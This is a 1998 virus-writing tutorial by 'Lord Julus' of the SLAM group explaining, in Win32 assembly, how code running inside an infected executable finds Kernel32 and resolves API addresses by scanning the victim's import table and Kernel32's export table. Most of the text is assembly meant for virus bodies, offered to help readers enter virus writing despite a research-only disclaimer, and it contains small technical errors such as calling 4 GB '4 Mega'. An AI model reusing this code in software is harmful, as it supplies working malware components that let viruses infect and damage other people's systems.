Accessing Windows 95 API's by scanning PE-tables
by Lord Julus

>                               D I S C L A I M E R

>        The following document is a study. It's only purpose is to be used in
>        the virus research only. The author of this article is not responsible
>        for any misuse of the things written in this document. Most of the
>        things published here are already public and they represent what the
>        author gathered across the years.
>          The author is not responsible for the use of any of these information
>        in any kind of virus.
>                                    Lord Julus.

>       .-------------.
>       |  Foreword   |
>       '============='

>             Looking  back  in  1994  and reading the last article of the now dead
>      group  Nuke,  you can get over an article written by the group's leader Rock
>      Steady  that  talked  about a so called, and awaited "Windows 4.0"... Try to
>      put  yourself  there,  back  in time and imagine what you would feel reading
>      this,  but  picture  it  well:  Ms-Dos  and Windows 3.11 existed. There were
>      practicaly  no Windows 3.11 viruses, except a few that infected the Dos part
>      of  the  New  Exe  file...  And when things were going so well, thousands of
>      viruses  on the market, so many that even virus authors didn't care anymore,
>      this  black  thing appears from the dark... The NEW THREAT from Micro$oft...
>      Let  me  recall  you  what  was  maybe the first article on what will become
>      Windows 95:

>                "Yes, there is a huge vessel currently submerging, and it's
>             being  steered  by  old  640k boundary, text based, real-mode,
>             MS-DOS.  If  you  haven't  forecasted  it yet, let me say that
>             Microsoft  has  an  ingenious  plan to wipe out EVERY virus in
>             existence  today.  Heh? And how will old mighty Microsoft plan
>             to  stage  such a hostile war? In two products, let me say DOS
>             7.0 & Windows 4.0!"

>             It  was  said  in  early  1994...  Here  we  are  in  1998 and it's a
>      reality... The DOS as we knew it is dead...

>                "32  bit protected mode is here to stay! What does this all
>             mean?  If  you haven't already tried Chicago (Windows 4.0) you
>             will  see  that it does not run on top of 16 bit DOS, it wipes
>             DOS  off  the  computer  and  replaces  it with something call
>             VFAT.386  which  will  simulate  DOS  Interrupts call(s) only.
>             Everything else goes!"

>             That's  it...  Every  low-level  programer  MUST  turn  towards Win32
>      programing...  Just  look at the lines below and you will get an explanation
>      for  the  suddend  death  of  so  many VX groups and the quits of many virus
>      authors:

>                "What  About the Boot Sector? GONE! Along with all the Boot
>             Sector  viruses!  No  more  DOS  to  load, but VFAT.386. A new
>             32-bit   boot   sector   has  been  introduced,  with  special
>             Anti-Virus features, for protection.
>                 What  About  the  Directory  Structures?  GONE! Along with
>             every  stealth  virus  using  it to fix file length sizes, and
>             the  old  famous  DIR  virus!  It  incorporates  a totally new
>             design!  No  more  8 characters filename size, long file names
>             are now introduced!
>                 What  About other DOS Structures? GONE! No more niffty MCB
>             chains  to  go  in high memory! No more undocumented Interrupt
>             calls,  no  more  interrupt  hooking!  No more nothing we have
>             gotten so used to as low-level virus programmers. No more .COM
>             files! No more DOS .EXEs, the Windows .EXE format will replace
>             it.   No  more  .SYS  files,  no  more  AUTOEXEC.BAT  no  more
>             CONFIG.SYS,  no more .BIN files, all we have gotten used to is
>             now about to leave us."

>             This  is  ALL true... Well, after Windows 95 was officially released,
>      people  around  the  world  started to understand what does this mean... And
>      basically, the low-level programer was hit hard... You will not believe if I
>      tell  you  you  must  write  at least 3 pages of code to display a window on
>      the  screen... Anyway, as time passed quite a few programers started looking
>      at  the low-level of the Windows. Some programing gurus like Andrew Schulman
>      and  Matt Pietrek started a project to restore a complete Windows 95 source.
>      Others  simply  checked  the  most important areas: the structures. Once you
>      understand the structures in an OS, you go further and check the methods you
>      can apply to access (read, modify) the structures.

>             The first steps in this way were made by the VLAD group. Two pioneers
>      by  the  name of Qark and Quantum presented a lot of interesting things. The
>      job was continued by a very good programer by the nick Murkry. And closer to
>      our   times   Jacky  Qwerty,  a  member  of  the  29A  group  came  up  with
>      revolutioning ideas.

>             I wrote all this so you can have a global idea about the scene in the
>      late  1998.  Basically  the  scene was fucked up for at least 2 years... But
>      now, it is going up again !!

>            And here we come to help you out get into the bussiness too !

>             We  at  SLAM have been working on the Win32 programing for quite some
>      time  now  and  what  we  realized was that except the virus sources around,
>      actually there aren't any real A-Z tutorials on Win32.

>            So, here I come to save the day ! ;-)

>     <--------------------------------------------------------------------- Basics

>             Firstly,  let  me  say  that in this tute I will call all versions of
>      Windows 95 (Chicago, Nashville, OSR1, OSR2, all betas), Windows 98 (Memphis,
>      all betas) and Windows NT (3.x, 4.0) as w95. I know that Windows NT is quite
>      different  from  Windows  95,  but  still  many things work on both systems.
>      Therefore I will call all w95... After all, I write this stuff !!!! ;-))

>             First  let  me  tell you about the memory in w95. Here, the memory is
>      flat.  A  flat  memory  is  a  chunk  of bytes in a sole huge segment. It is
>      called  a  selector.  Therefore,  you  don't need to use the old segment and
>      offset  assignment  to  reach  a  particular area in the memory. Now all you
>      have is the offset. The size of the memory is:

>            65536 ^ 2 = 4,294,967,295 bytes (e.g. 4 Mega !!)

>            Quite plenty !

>            A refference into the memory can be done in all the known ways:

>                   [ESI]
>                   [ESI+EBX]
>                   [ESI+EBX+const]
>                   [EBX*8+ESI+const], etc.

>             Anyway,  as  you noticed we work in a 32 bit environment, which means
>      that  memory  addresses are 32 bit (00000000h - FFFFFFFFh). However, you can
>      still easily read words or bytes:

>                   mov ax, word ptr [esi]
>                   mov al, byte ptr [esi]

>             Ok,  now  you  have an idea on the memory layout. The simplest it can
>      be. Now let's look at the main structures:

>                          1. modules
>                          2. functions

>     <-------------------------------------------------------- Modules & Functions

>             Now,  what  I  am  about to say is really, really easy to understand.
>      While under w95, the memory layout is like this:

>            00000000h - 3FFFFFFFh - Application code and data
>            40000000h - 7FFFFFFFh - Shared memory (system DLL's)
>            80000000h - BFFFFFFFh - OS Kernel
>            C0000000h - FFFFFFFFh - Device Drivers

>             I  have  to  note that the last 2 gigs are separated in Os Kernel and
>      Device  Drivers  only  under  WindowsNT.  Windows 95/98 does not distinguish
>      between Os kernel and device drivers.

>             A  module  is a piece of code+data+resources+other misc stuff that is
>      loaded  into memory. The offset that the module is loaded from is called the
>      image  base.  The  module  is  loaded  into memory from the image base until
>      imagebase + module size.

>             The  Kernel32.DLL is a module. Upon loading the system, w95 loads the
>      kernel  to a certain base in memory. For Windows 95/98 this address seems to
>      be  fixed  for  now,  while for NT it isn't. The module base for the Windows
>      95/98  kernel  can be found at address 0BFF70000h, for the existing versions
>      of Windows 95/98, but Microsoft may choose to change this at any moment.

>             The main important thing to know about a module are it's exported and
>      imported functions. Here are the basic rules:

>                   * a module may export functions
>                   * a module may import functions
>                   * a module could virtualy run with no imported or
>                     exported functions

>             I  want  you  to  understand  that  when  I say that a module exports
>      functions,  it doesn't mean that it is somewhere in the memory and it's just
>      stuck  in  the  necks'  of  all  loading  programs.  The module exports it's
>      functions  only to other modules that request it. And, the other way around,
>      a  module  imports  functions  only from whatever other modules it may want.
>      Let's check a diagram for a general module called M:

>      ############################################################################
>      #    .--------.    .--------.    .--------.    .--------.   .---------.    #
>      #    |   M1   |    |   M2   |    |   M3   |    |   M4   |   |   M9    |    #
>      #    '---.----'    '---.----'    '----.---'    '----.---'   '---------'    #
>      #        |             v              v             |                      #
>      #        |         .---'--------------'---.         |       .---------.    #
>      #        '--->-----|          M           |-----<---'       |   M10   |    #
>      #                  '----------.-----------'                 '---------'    #
>      #                             v                                            #
>      #       .==============.======'=======.=============.                      #
>      #    .--'-----.    .---'----.    .----'---.    .----'---.                  #
>      #    |   M5   |    |   M6   |    |   M7   |    |   M8   |                  #
>      #    '--------'    '--------'    '--------'    '--------'                  #
>      #                                                                          #
>      #    where:  ------  represents functions imported by M                    #
>      #            ======  represents functions exported by M                    #
>      ############################################################################

>             So,  M1,  M2,  M3  and M4 export functions to M, while M5, M6, M7, M8
>      import  functions from M. Each module may import different functions from M.
>      In  the mean time, we may have other modules that have nothing to do with M,
>      like  M9  and  M10.  The  links between all the modules that are loaded at a
>      certain time into memory sometimes may be very complex.

>             However,  a  certain  set of functions is gathered into one module by
>      their type. The most used modules in w95 are:

>            Kernel32 - the base of the entire operating system
>            User32   - useful functions for the user
>            Gdi32    - Graphical interface

>     <----------------------------------------------------------- Starting to code

>             Before  starting  to  code,  I will have to warn you that you must be
>      aware  of the things inside the PE header. If you don't, stop here and check
>      a layout of the PE header, or use a PEdump utility to help you understand.

>            Ok, before coding, here are the tools I use:

>                   TASM32 v.4.01
>                   TLINK32 v.7.0
>                   PWERSEC utility

>            The tipical Win32 ASM application looks like this:

>            .386p
>            .387
>            .model flat, stdcall
>            locals
>            jumps

>            extrn <external name 1>:PROC
>            extrn <external name 2>:PROC
>            ...

>            .data

>            <never put real data here !>

>            .code

>            start:
>                   <main code>

>            end start
>            end

>             This  is  the layout for a do_nothing win32 program. The program must
>      be compiled like this:

>            TASM32 /m3 /ml <progname.asm>
>            TLINK32 /Tpe /aa /c <progname.asm>,<progname.exe>,,import32.lib

>             So,  firstly,  you  MUST  have  the  import32.lib  file  in  the same
>      directory  with  TASM, and secondly, when you code, you code CASE SENSITIVE.
>      This is very important !! This means:

>            GetCurrentDrive <> GETCURRENTDRIVE <> GeTcUrReNtDrIvE !!!!

>             Well,  what  you  saw in the above code there marked with 'extrn' are
>      actually  the  function  names of the functions your application will import
>      after  the  linking.  Your application must import at least one function and
>      that function is ExitProcess:

>            extrn ExitProcess:PROC;

>            ...

>            Push 0                             ; exit to OS
>            Call ExitProcess                   ;

>             I  guess you understood already how to call an imported function. The
>      only  thing  to  do is push on the stack the right parameters (which you can
>      only  know  from  a  good  documentation)  and  then  call  it.  In the real
>      diassembly, the above call is assembled like this:

>            call [xxxxxxxx]
>            ...
>     xxxxxxxx:
>            jmp [yyyyyyyy] ; --> a jump to the real address of the function

>             Now  that we know how to import functions, what a module is and how a
>      function is called let's go deeper...

>             The  thing is, there you are... inside the code, somewhere at the end
>      of  the victim file and you are startingto execute code. But, as I explained
>      later  you  cannot use other thingies under Win32 to obtain information, use
>      it or set it, aside from the Windows functions, which I shall call Apis from
>      now on. And there is your code neeeeding to execute Apis, all kinds of Apis,
>      but restricted by the fact that the infected victim only imports a couple of
>      them.  And the question comes: how can your code locate the addresses of the
>      functions  it needs in order to be ableto call them directly. Here comes the
>      really interesting part of this article.

>             Just  as  a  short sidenote, in all the code that will follow, I will
>      assume that your virus contains a beginning part that looks like this:

>            Call GetDeltaHandle
>     GetDeltaHandle:
>            Pop Ebp
>            Sub Ebp, offset GetDeltaHandle

>             Actually  I  don't care how you retrieve the delta handle, but I will
>      consider that it's held by the EBP register. Just adjust your code.

>             Ok,  so  the infected program starts. The loader takes it and puts it
>      up  at it's own image base. The starting entry point is the beginning of the
>      virus.  After  getting  the  Delta  Handle  into  EBP start checking for the
>      environment  we find ourself in. Before going into that let me tell you that
>      you'd  better  have  a  written  paper  with the PE Header layout so you can
>      understand what offsets I use and why. I'll try to explain...

>            mov esi, imagebase                ; get image base
>            cmp word ptr [esi], 'ZM'          ; check if we have an EXE file
>            jne getout                        ;

>             For a normal Tlinked file, the initial imagebase is always 00400000h,
>      so  this  value  will  be used initialy. But, when the virus infects another
>      file,  the  mov  esi, imagebase instruction must be patched with the correct
>      imagebase  for  that  specific  file.  (for  ex.  excel.exe  has  imagebase=
>      30000000h). Let's continue:

>            add esi, 3ch                      ; point to new header address
>            mov esi, [esi]                    ; get it
>            add esi, imagebase                ; always aling in memory...
>            cmp word ptr [esi], 'EP'          ; is PE there ?
>            jne getout                        ;
>            add esi, 80h                      ; get import directory address

>             Now,  the  register  ESI  points  to the import directory. The import
>      directory  is  a big table that contains the names of the imported functions
>      and  the  names  of  the  modules that exports them. So, I guess you already
>      understood  that  we are about to search in the victims import directory the
>      name of the Kernel32.dll file so we can locate it's functions.

>            mov eax, [esi]                    ; Get the virtual address of the
>            mov [ebp+importvirtual], eax      ; import dir and save it
>            mov eax, [esi+4]                  ;
>            mov [ebp+importsize], eax         ; also get the size of it
>            mov esi, [ebp+importvirtual]      ;
>            add esi, imagebase                ; align with imagebase
>            mov ebx, esi                      ;
>            mov edx, esi                      ; ESI: where from to search...
>            add edx, [ebp+importsize]         ; EDX: the limit

>             The  good thing is that the name of the module that exports functions
>      is not coded in any way. So, it's only a matter of locating a string:

>     searchkernel:                            ;
>            mov esi, [esi+0ch]                ; get an entry
>            add esi, imagebase                ; align
>            cmp [esi], 'NREK'                 ; is it KERNEL32 ?
>            je foundit                        ;
>            add ebx, 14h                      ; nope... get next entry
>            mov esi, ebx                      ;
>            cmp esi, edx                      ; did we go over limit ?
>            jg notfound                       ;

>             If  we  went  over the limit and the Kernel32 was not found, it means
>      that  the  victim  does not import any functions from the k32, which is very
>      less likely... Anyway, if it happens, you'll see what to do...
>             But  if we found it, we are starting to locate the functions that the
>      victim  imported  from  the  Kernel32.dll  module.  And  our  goal is a very
>      important  function: GetModuleHandleA. This function allows us to locate the
>      kernel32  in  memory  only  by pushing the offset of it's name... Let's look
>      for  the  string  "GetModuleHandleA"  inside the kernel32's import table. We
>      assume these declarations:

>                   gha db "GetModuleHandleA",0
>                   gha_size db $ - gha

>     foundit:                                 ; Here we found the Kernel !
>            mov esi, ebx                      ;
>            mov ebx, [esi+10h]                ; let's get the First Thunk there
>            add ebx, imagebase                ;
>            mov [ebp+offset firstthunk], ebx  ;
>            mov eax, [esi]                    ;
>            jz notfound                       ; if 0 -> bad...
>                                              ;
>     searchgha:                               ;
>            mov esi, [esi]                    ; let's search GetModuleHandle...
>            add esi, imagebase                ;
>            mov edx, esi                      ;
>            mov ecx, [ebp+offset importsize]  ;
>            mov eax, 0                        ;
>                                              ;
>     lookloop:                                ;
>           cmp dword ptr [edx], 0             ; the end ?
>           je notfound                        ;
>           cmp byte ptr [edx+3], 80h          ; ordinal ?
>           je nothere                         ;
>           mov esi, [edx]                     ;
>           push ecx                           ;
>           add esi, imagebase                 ;
>           add esi, 2                         ;
>           mov edi, offset gha                ;
>           add edi, ebp                       ;
>           mov ecx, gha_size                  ;
>           rep cmpsb                          ; compare strings...
>           pop ecx                            ;
>           je  foundgha                       ; if equal, we found it !
>                                              ;
>     nothere:                                 ;
>           inc eax                            ; get next, otherwise...
>           add edx, 4                         ;
>           loop lookloop                      ;

>             If  we  reached  here  it means that it really happened! The victim's
>      import  table  came up with the GetModuleHandleA. It is a number in EAX that
>      we need to multiply by 2 and add to the first thunk:

>     foundgha:                                ; Got it !!
>           shl eax, 2                         ; multiply by 2
>           mov ebx, [ebp+offset firstthunk]   ;
>           add eax, ebx                       ; and add to first thunk
>           mov eax, [eax]                     ; get the address there

>             Now EAX holds the address of the GetModuleHandleA!! How can we use it
>      in order to retrieve the Kernel32 address? Look:

>           mov edx, offset k32                ; k32 db "KERNEL32.dll",0
>           add edx, ebp                       ;
>           push edx                           ; push the Kernel32 name
>           call eax                           ; and get it's address
>           cmp eax, 0                         ; is it a fail ?
>           jne found                          ;

>             If  the  operation failed, we find ourself in the same place where we
>      would   be   if  the  victim  did  not  import  k32  functions,  or  if  the
>      GetModuleHandleA was not among the imported ones:

>     notfound:                                ;
>           mov eax, 0BFF70000h                ; if fail, assume hardcoded kernel

>             This  is  the  default kernel32 address. If we are here, big problems
>      occured...  As  long  as  we  assumed a hardcoded value for the Kernel32, we
>      MUST check if it's ok, otherwise we might crash the system.

>             Anyway,  after going thru all the mess, we arrived here, with a value
>      in  the  eax  register which normally should point to the Kernel32 module in
>      memory (it's base). Let's see what we do with it:

>     found:                                   ;
>           mov [ebp+offset kernel32], eax     ; save the Kernel address
>           mov edi, eax                       ; check if it's really the k32 there
>           cmp word ptr [edi], 'ZM'           ; magic word...
>           jne getout                         ;
>                                              ;
>           mov edi, [edi+3ch]                 ; look for...
>           add edi, [ebp+offset kernel32]     ;
>           cmp word ptr [edi], 'EP'           ; ...Portable Exe signature
>           jne getout                         ;

>             If  we are here then everything is OK! The kernel32 holds the correct
>      module  base  address and we are about to use it heavily! Now, our next goal
>      is another very important function called GetProcAddress. As it's name tells
>      us,  this  function is used to retrieve other functions' addresses. As weare
>      searching  withinthe  heart  ofthe  kernel  itself, I guess you already know
>      whatwe  are  about  to do... We are about to check the Kernel32 export table
>      and  look  for the GetProcAddress function. Again, I have to ask you to look
>      overthe  PE  layout  to  understand  the following. But before, I wantyou to
>      understand   that  all  values  we  retrieve  are  RVA's  (Relative  Virtual
>      Addresses).  In  order  to  use  them,  we  must  turn  them to VA's. If the
>      address  is  relative  to something, adding that something to it will remove
>      the  relativity.  In  our  case  it's the base of the kernel32 module we are
>      relative  to.  This  means that every address must be adjusted by adding the
>      k32 base address to it. Let's rock:

>           pushad                             ; save all regs !
>           mov esi, [edi+78H]                 ; 78H = address for the export dir
>           add esi, [ebp+offset kernel32]     ; normalize
>           mov [ebp+offset export], esi       ; save it
>           add esi, 10H                       ; look for Base Functions
>           lodsd                              ; get Base of Exported Functions
>           mov [ebp+offset basef], eax        ; save base of the functions
>           lodsd                              ; get Number of Exported Functions
>           lodsd                              ; get Number of Exported Names
>           mov [ebp+offset limit], eax        ; save the number of names/funcs
>           add eax, [ebp+offset kernel32]     ;
>           lodsd                              ; Get Address of Exported Functions
>           add eax, [ebp+offset kernel32]     ;
>           mov [ebp+offset AddFunc],eax       ; save address of functions
>           lodsd                              ; Get Address of Exported Names
>           add eax, [ebp+offset kernel32]     ;
>           mov [ebp+offset AddName], eax      ; save Address of Exported Names
>           lodsd                              ; Get Address of Exported Ordinals
>           add eax, [ebp+offset kernel32]     ;
>           mov [ebp+offset AddOrd], eax       ; save Address of Ordinals
>           mov esi,[ebp+offset AddFunc]       ;
>           lodsd                              ;
>           add eax, [ebp+offset kernel32]     ;

>           Now, we retrieved the most signifiant things from the export table:

>                   * The number of exported functions (equal  to  the  number  of
>                     exported names)
>                   * The Address of functions
>                   * The Address of names (where we shall scan)
>                   * The Address of ordinals

>           The  address  of  names  points to a table of function name strings one
>      after  another.  The  address  of  functions  points  to a table filled with
>      function  addresses.  And  the address of ordinals point to a table with the
>      ordinal number or each function. So, one function's proprieties are:

>                     * the name
>                     * the address
>                     * the ordinal

>             So,  let's  start  looking  for  "GetProcAddress". I will assume this
>      definition:

>           First_API             db "GetProcAddress",0   ; the name
>           AGetProcAddress       dd 0                    ; the address

>           No more games! Let's scan:

>           mov esi, [ebp+offset AddName]      ; get the first pointer to a name
>           mov [ebp+offset Nindex], esi       ; save the index into the name array
>           mov edi, [esi]                     ; normalize with kernel32
>           add edi, [ebp+offset kernel32]     ;
>           mov ecx, 0                         ; sets the counter to 0
>           mov ebx, offset First_API          ; Set starting address
>           add ebx, ebp                       ;
>                                              ;
>     TryAgain:                                ;
>           mov esi, ebx                       ; ESI points to the name we search
>                                              ;
>     MatchByte:                               ;
>           cmpsb                              ; do we have a byte match ?
>           jne NextOne                        ; no! Try next name of function
>                                              ;
>           cmp byte ptr [edi], 0              ; did the entire string match ?
>           je GotIt                           ; YES !
>           jmp MatchByte                      ; nope... try next byte
>                                              ;
>     NextOne:                                 ;
>          inc cx                              ; increment counter
>          cmp cx, word ptr [ebp+offset limit] ; check limit override
>          jge getout                          ; (the limit is the max. no. of f.)
>                                              ;
>          add dword ptr [ebp+offset Nindex], 4; get the next pointer rva
>          mov esi, [ebp+offset Nindex]        ; and try again
>          mov edi, [esi]                      ;
>          add edi, [ebp+offset kernel32]      ;
>          jmp TryAgain                        ;

>             If  we  found  the GetProcAddress string in the table, the code jumps
>      here with the following parameter:

>            cx = the index into the Address of Ordinals

>            Having CX we have the following formulas:

>           CX * 2 + [Address of Ordinals] = Ordinal
>           Ordinal * 4 + [Address of Functions] = Address of Function (RVA)

>           Let us apply the final formulas:

>     GotIt:
>           mov ebx, esi                      ; get set for next search routine
>           inc ebx                           ;
>           shl ecx, 1                        ; ECX = ECX * 2
>           mov esi, [ebp+offset AddOrd]      ;
>           add esi, ecx                      ; add Address of Ordinals
>           xor eax, eax                      ;
>           mov ax, word ptr [esi]            ; Retrieve Ordinal
>           shl eax, 2                        ; Ordinal = Ordinal * 4
>           mov esi, [ebp+offset AddFunc]     ;
>           add esi, eax                      ; Add Address of Functions
>           mov edi, dword ptr [esi]          ; take the RVA there
>           add edi, [ebp+offset kernel32]    ; add kernel32 module base

>           Here, EDI holds the real address of the GetProcAddress function !

>           mov [ebp+offset AGetProcAddressA], edi  ; we save it
>           popad                                   ; restore registers we saved

>             Now,  if  we  have  the  GetProcAddress's  address,  we  are virtualy
>      unstopable !! Let's look at how I define the search for addresses table:

>           AExitProcess        db "ExitProcess",0       ; the names
>           AFindFirstFile      db "FindFirstFileA",0
>           ACreateFile         db "CreateFileA",0
>           ...
>                               db 0FFh

>           AExitProcessA       dd 0                     ; and the place to put
>           AFindFirstFileA     dd 0                     ; the addresses
>           ACreateFileA        dd 0
>           ...

>           mov esi, offset AExitProcess      ; and start retrieving all the apis
>           mov edi, offset AExitProcessA     ; we need !
>           add esi, ebp                      ;
>           add edi, ebp                      ;

>           The calling of the GetProcAddress is done like this:

>                          push offset <function name>
>                          push module_base
>                          call GetProcAddress

>             The return is the address of the <function name> function, or 0 if it
>      was  a  fail.  A  fail  may be caused by various things like: misstyping the
>      name  of  the function (it's case sensitive!!), the function is not exported
>      by that module, the module base is wrong, etc...

>             So,  basically  we  will make a loop which will use the above call to
>      retrieve the addresses for every function in our list.

>     Repeat_find_apis:                       ;
>           push esi                          ; find an API
>           mov eax, [ebp+offset kernel32]    ;
>           push eax                          ;
>           mov eax, [ebp+offset AGetProcAddressA]
>           call eax                          ; get it !!
>           cmp eax, 0                        ; check if an API find failed
>           je getout                         ;
>           stosd                             ; store it's address
>                                             ;
>     repeat_inc:                             ;
>           inc esi                           ; go to the next API name
>           cmp byte ptr [esi], 0             ;
>           jne repeat_inc                    ;
>           inc esi                           ;
>           cmp byte ptr [esi], 0FFh          ; and check for the end
>           jne Repeat_find_apis              ;

>           If the code reaches here, then our goal is achieved:

>                   * we searched and found the kernel
>                   * we searched and found the addresses for all the apis our
>                     virus needs

>             Now,  in  order  to call a function, we use the address we retrieved,
>      like this:

>                   push <function arguments needed>
>                   mov eax, [ebp + AFindFirstFileA]
>                   Call eax

>            This is an example of calling the FindFirstFileA.

>             Another smooth way to use GetProcAddress in your virus is to create a
>      procedure like this:

>            Call_API proc
>                     pop dword ptr [ebp+retaddress]     ; take return addr off...
>                     push eax                           ; push function name
>                     push kernel32                      ; push kernel base
>                     mov eax, [ebp + AGetProcAddress]   ; call GetProcAddress
>                     Call eax                           ; call the function !
>                     push dword ptr [ebp+retaddress]    ; restore return address
>                     ret
>            retaddr  dd 0
>           Call_API endp

>           In order then to call certain function you do this:

>                          push <function parameters>
>                          mov eax, offset <function name>
>                          call Call_API

>             In this easy way, you don't have to make a loop to retrieve all Api's
>      addresses,  but  instead  everytime  you  need  to  call an Api the Call_API
>      procedure  will  get  it's  address and will call it directly. It works more
>      like a macro...

>                             APPENDIX
>                            -========-

>             I  feel  like  I left quite a few things unsaid and unexplained up in
>      the article, so let me try to fill all the gaps in this appendix.

>             As  you  noticed,  many functions among which GetModuleHandle is also
>      around,  have  a suplemental character at the end, e.g. "A" or "W". The last
>      letter  reffers  to  the  type  of  parameter  the function awaits for. Some
>      functions accept only the macro type:

>                         SetWindowText(...)

>           Ansi type:
>                         SetWindowTextA(...)

>           Wide type:
>                         SetWindowTextW(...)

>             In   our   example   above   we   scanned   the   infected  host  for
>      GetModuleHandleA.   However   some  files  my  import  the  GetModuleHandleW
>      functions.  To make a more reliable scanner one should scan for both styles,
>      first Ansi and then Wide.

>             Ok,  now  let  me  make  a little graphic that should explain how all
>      things are tied together and which is the track we go on hunting:

>           .-----------------.      export                .----------------------.
>      .----|# KERNEL32.DLL   |--------------------------->|  Export Table        |
>      |    '-----------------'                            |     - ...            |
>      |e                                    .------------>|     # GetProcAddress |
>      |x   .----------------------.         |             |     - ...            |
>      |p   |  Infected Host       |         |             |                      |
>      |o   |                      |         |             '----------------------'
>      |r   |                      |         |
>      |t   |                      |         |     .==============================.
>      |    .======================.         |     "                              "
>      |    |  Import Table        |         |     " Legend:                      "
>      '----Å--> # GetModuleHandle |<--.     |     "                              "
>           |    - ...             |   |     |     "      -------> export way     "
>           '======================'   |     |     "      -------> searching way  "
>           |                      |   |     |     "      #        needed address "
>           | Virus entry          |   |     |     "                              "
>           | 1) scan for GMH in   |---'     |     '=============================='
>           |    the hosts' import |         |
>           |    table             |         |
>           | 2) use GMH to find   |         |
>           |    Kernel32's addr.  |         |
>           | 3) scan Kernel32's   |---------'
>           |    export address for|
>           |    GetProcAddress    |
>           | 4) Use GetProcAddress|
>           |    to find all the   |
>           |    kernel32's apis   |
>           |    addresses         |
>           '----------------------'

>             I guess this is comprehesive enough.

>             As   a   sidenote,  I  should  say  that  the  if  you  do  not  find
>      GetModuleHandle(A/W)  in  the  Import  Table  of  the  victim, but still the
>      hardcoded  value  for  the Kernel32 is correct, you should also get the real
>      address  of  the  GetModuleHandleA  using  GetProcAddress.  You can then use
>      GetModuleHandleA  to  retrieve  addresses for other modules, like USER32, if
>      you want to display a MessageBox, for example.

>             Well,   I   guess that's about it with the scanning for functions. My
>      next article will be about installing custom API hooks...

>                          Happy huntin', people !!

>                                                   .---------------------.
>                                                   |  Lord Julus - 1998  |
>                                                   '====================='

>       Many thanx go to: Qark, Quantum, Murkry, Jacky Querty, Shaitan

>                                                             Lord Julus - 1998